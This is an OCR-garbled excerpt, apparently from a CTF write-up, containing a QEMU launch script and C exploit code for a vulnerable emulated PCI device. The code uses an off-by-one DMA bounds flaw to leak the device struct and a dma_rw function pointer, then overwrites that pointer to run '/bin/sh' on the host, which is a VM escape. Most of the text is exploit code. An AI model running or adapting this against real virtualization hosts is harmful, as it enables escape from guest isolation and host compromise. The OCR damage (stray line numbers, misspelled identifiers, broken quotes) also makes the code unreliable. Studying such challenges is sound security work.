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1 #! /bin/sh

2 #gdb --args \

3 ./gemu-system-x86 64 \

4 -initrd ./rootfs.cpio \

5 -kernel ./bzImage \

6 -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kalsr' \
7 -monitor /dev/null \

8 -m 64M --nographic \

9 —device zzz \

10 -L pc-bios

I &

1if ( obj—>idx + cnt - 1 > DMA SIZE )

2{
3 return ;
4}
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int main(int argc, char *argv([])
{
userbuf = mmap (0, 0x1000, PROT READ | PROT WRITE, MAP SHARED | MAP ANONYMOUS,
if (userbuf == MAP FATILED)
die ("mmap") ;

NoOY s W N

mlock (userbuf, 0x1000) ;

-1,

0);
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phy userbuf=gva to gpa (userbuf);

int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0"”, O RDWR | O SYNC);

if (fd == -1)
{

die ("open resource(l faild\n");

}

mmio mem = mmap (0, 0x1000, PROT READ | PROT WRITE, MAP SHARED, fd, 0);

if (mmio mem == MAP FAILED)
{

die ("mmap faild\n");
}

printf("addr %p,0x%lx\n",userbuf,phy userbuf);

// set dma addr
mmio write(0x20,phy userbuf >> 12);

//memcpy (userbuf,"/bin/sh\x00",8) ;

// addr

*(uint64 t*) (userbuf + 0x11) = phy userbuf;
// cnt

*(uintl6 t*) (userbuf + 0x11 +8) = Oxff5;
// idx

*(uintl6 t*) (userbuf + 0Ox11 +8+2) = 11;

set 1dx(0);
set cnt (0x30) ;
mmio write (0x60,0);

set 1dx(0x1000-1);

set cnt(2|1);

mmio write(0x60,0);
uint8 t off = userbuf[1];

printf ("leak = $hhx\n",off);

// cnt
*(uintl6 t*) (userbuf) = 0xff5;
// idx
*(uintl6 t*) (userbuf+2) = 11;

userbuf [0x1000-0x19] = off + 0x21;

set 1dx(0x19);
set cnt (0x1000-0x19+1) ;
mmio write (0x60,0);

// new buf = dma buf + 0x21;

// leak ptr

mmio write(0x60,0);

uinté4 t device = *(uinté64 t*)&userbuf[0x1000-0x21-11];
uinté4 t dma rw = *(uint64 t*)&userbuf[0x1000-0x21-11+8];
uinté4 t dma buf = device + 0x9cf;

printf ("device = 0x%lx\n",device);
printf ("dma rw = Ox%lx\n",dma rw);

// encrypt

mmio write(0x50,0);

// idx = 11 ~ 521 = 514

// cnt = 0Oxff5 »~ 521 = Oxdfc

uint64 t start = dma buf + 0x21 + 514;
uint64 t align = (start + Oxfff) & ~Oxfff;

assert (align <= start + Oxdfc);

printf ("start 0Ox%1x\n",start) ;
printf("align = 0x%lx\n",align) ;

*(uint64 t *)userbuf = align;
*(uintl6é t *) (userbuf + 8) = 0;
*(uintlé t *) (userbuf + 8 + 2) = 0;



84
85 char cmd[] = "/bin/sh\x00";

86 memcpy (userbuf + (align - start),cmd,sizeof (cmd)) ;

87

88 // idx = 514

89 *(uint64 t *)&userbuf[0x1000-0x21-514] = device + 514 + 0x10;
90 *(uint64 t *)&userbuf[0x1000-0x21-514+8] = dma rw - 0x314b40;
91

92 // write

93 mmio write(0x60,0);
94 mmio write(0x60,0);
95}
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